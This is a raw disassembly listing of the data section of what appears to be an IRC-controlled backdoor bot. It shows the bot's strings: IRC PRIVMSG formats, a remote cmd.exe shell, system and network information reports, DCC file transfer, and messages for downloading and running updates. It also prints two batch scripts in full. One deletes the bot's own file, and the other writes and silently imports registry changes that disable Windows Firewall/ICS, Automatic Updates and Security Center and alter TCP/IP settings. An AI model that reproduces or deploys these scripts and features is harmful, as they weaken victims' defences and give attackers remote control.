aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_409CCD+5o
					; sub_414392+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: seg000:00409D6Bo
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409E15+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409E15+48o
		align 4
aCAb3_bat	db 'c:\ab3.bat',0       ; DATA XREF: sub_409F9D+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409F9D+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 10h
unk_42B350	db    2			; DATA XREF: sub_40A093:loc_40A152o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42B394	db    2			; DATA XREF: sub_40A093:loc_40A120o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42B3D8	db    2			; DATA XREF: sub_40A093:loc_40A0ECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_42B410	db    2			; DATA XREF: sub_40A093+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B454	db    2			; DATA XREF: seg000:0040A353o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B494	db    2			; DATA XREF: seg000:0040A285o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42B4D0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040A569o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 10h
dword_42B510	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040A431o
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:0040A654o
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F432020h, 20646C75h, 20746F6Eh
		dd 64616572h, 74616420h, 72662061h, 70206D6Fh, 63636F72h
		dd 2E737365h, 0A0Dh, 28026502h,	62302E31h, 20282029h, 2E646D63h
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 68207373h, 74207361h, 696D7265h, 6574616Eh, 0A0D2E64h
		dd 0
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess',0Dh,0Ah,0
		align 10h
dword_42B620	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42B668	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A7FD+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A9B2+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40AAD1+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40AAD1+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o
		align 4
word_42B7AC	dw 3Fh			; DATA XREF: sub_40AAD1:loc_40ABD3r
					; sub_40C297+1Fo
		align 10h
dword_42B7B0	dd 28207325h, 297325hdword_42B7B8	dd 3F3F3Fh						; seg000:loc_414343o
a2003		db '2003',0             ; DATA XREF: sub_40AAD1+BAo
					; seg002:0042C458o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40AAD1+AAo
					; seg000:0041432Eo ...
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40AAD1+98o
					; seg000:0041431Eo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40AAD1+7Eo
					; seg000:00414305o
		align 10h
a98		db '98',0               ; DATA XREF: sub_40AAD1+6Co
					; seg000:004142F5o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40AAD1+5Ao
					; seg000:004142E5o
		align 4
a95		db '95',0               ; DATA XREF: sub_40AAD1+46o
					; seg000:004142D7o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AD85+ABo
		align 4
off_42B81C	dd offset loc_412F4E	; DATA XREF: sub_40AD85:loc_40ADF9o
dword_42B820	dd 4E414Ch	dword_42B824	dd 6C616944h, 70752Dhdword_42B82C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_42B83C	db    2			; DATA XREF: sub_40AE4B:loc_40B004o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42B880	db    2			; DATA XREF: sub_40AE4B:loc_40AFFDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 10h
dword_42B8C0	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_42B8F0	db    2			; DATA XREF: sub_40AE4B:loc_40AFDEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 10h
dword_42B940	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42B970	dd 2A2F2Ah	dword_42B974	dd 202E6425h, 3D207325h, 732520hdword_42B980	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o
		align 4
dword_42B9B4	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B20D+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42B9EC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42BA1C	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BA40	dd 80000002h, 42C24Ch, 80000002h, 42C27Ch, 80000001h, 42C2B4h
					; DATA XREF: sub_40B3AE+7o
dword_42BA58	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B3AE+63o
					; seg000:0040B6C1o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 10h
dword_42BAA0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B5FCo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BAE4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B598o
					; seg000:0040B80Fo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BB1C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BC0Ao
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BB48	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BA0Co
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BB9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B914o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BBD4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B8DDo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BC00	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: seg000:0040B87Co
		dd 169h
dword_42BC18	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B839o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BC4C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B794o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BC84	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B756o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42BCBC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BC83o
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_42BD14	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BB7Fo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BD48	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BB5Fo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: seg000:0040BB4Bo
dword_42BD8C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BB37o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42BDD0	db    2			; DATA XREF: seg000:0040C182o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 10h
unk_42BE10	db    2			; DATA XREF: seg000:0040C174o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42BE5C	db    2			; DATA XREF: seg000:0040C0B8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 10h
dword_42BEB0	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: seg000:0040C047o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: seg000:0040C025o
					; seg000:0040F88Co ...
		align 4
unk_42BEE8	db    2			; DATA XREF: seg000:0040BFD0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42BF34	db    2			; DATA XREF: seg000:0040BF51o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
